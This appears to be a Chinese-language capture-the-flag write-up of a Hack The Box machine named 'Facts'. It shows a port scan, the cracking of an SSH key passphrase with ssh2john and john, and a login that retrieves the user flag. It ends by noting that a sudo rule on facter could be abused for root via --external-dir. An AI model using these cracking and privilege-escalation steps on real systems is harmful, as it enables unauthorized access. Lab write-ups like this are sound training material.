┌──(kali㉿kali)-[~/HTB/facts] └─$ sudo nmap --min-rate 10000 -p- facts.htb -oA ports Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-12 16:53 CST Nmap scan report for facts.htb Host is up (0.17s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 54321/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 15.30 seconds
尝试进行 ssh 登录,发现私钥文件是 trivia 用户的,但是私钥本身需要密码,因此采用 ssh2john 和 john 进行破解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌──(kali㉿kali)-[~/HTB/facts] └─$ ssh2john id_ed25519 > hash ┌──(kali㉿kali)-[~/HTB/facts] └─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 24 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:03:32 0.02% (ETA: 2026-02-27 14:54) 0g/s 13.80p/s 13.80c/s 13.80C/s popstar..pumas dragonballz (id_ed25519) 1g 0:00:03:52 DONE (2026-02-12 18:26) 0.004305g/s 13.77p/s 13.77c/s 13.77C/s fireman..imissu Use the "--show" option to display all of the cracked passwords reliably Session completed.
System information as of Thu Feb 12 10:27:42 AM UTC 2026
System load: 0.03 Usage of /: 72.3% of 7.28GB Memory usage: 19% Swap usage: 0% Processes: 220 Users logged in: 1
0 updates can be applied immediately.
The list of available updates is more than a week old. To check for new updates run: sudo apt update trivia@facts:~$ whoami trivia trivia@facts:~$ cd .. trivia@facts:/home$ ls trivia william trivia@facts:/home$ cd william trivia@facts:/home/william$ ls -liah total 24K 439875 drwxr-xr-x 2 william william 4.0K Jan 26 11:40 . 393218 drwxr-xr-x 4 root root 4.0K Jan 8 17:53 .. 393266 lrwxrwxrwx 1 root root 9 Jan 26 11:40 .bash_history -> /dev/null 439877 -rw-r--r-- 1 william william 220 Aug 20 2024 .bash_logout 439878 -rw-r--r-- 1 william william 3.7K Aug 20 2024 .bashrc 439879 -rw-r--r-- 1 william william 807 Aug 20 2024 .profile 437620 -rw-r--r-- 1 root william 33 Feb 12 08:52 user.txt trivia@facts:/home/william$ cat user.txt
拿到了 user flag。
提权
sudo -l 发现当前用户可以 sudo 执行一个文件:
1 2 3 4 5 6
trivia@facts:/home/william$ sudo -l Matching Defaults entries for trivia on facts: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User trivia may run the following commands on facts: (ALL) NOPASSWD: /usr/bin/facter
Options ======= [--color] Enable color output. [--no-color] Disable color output. -c [--config] The location of the config file. [--custom-dir] A directory to use for custom facts. -d [--debug] Enable debug output. [--external-dir] A directory to use for external facts. [--hocon] Output in Hocon format. -j [--json] Output in JSON format. -l [--log-level] Set logging level. Supported levels are: none, trace, debug, info, warn, error, and fatal. [--no-block] Disable fact blocking. [--no-cache] Disable loading and refreshing facts from the cache [--no-custom-facts] Disable custom facts. [--no-external-facts] Disable external facts. [--no-ruby] Disable loading Ruby, facts requiring Ruby, and custom facts. [--trace] Enable backtraces for custom facts. [--verbose] Enable verbose (info) output. [--show-legacy] Show legacy facts when querying all facts. -y [--yaml] Output in YAML format. [--strict] Enable more aggressive error reporting. -t [--timing] Show how much time it took to resolve each fact [--sequential] Resolve facts sequentially [--http-debug] Whether to write HTTP request and responses to stderr. This should never be used in production. -p [--puppet] Load the Puppet libraries, thus allowing Facter to load Puppet-specific facts. -v [--version] Print the version [--list-block-groups] List block groups [--list-cache-groups] List cache groups -h [--help] Help for all arguments
我询问了 AI ,AI 说这个文件可以执行任意的脚本,只需要用 --external-dir 选项指定,facter 就会自动执行。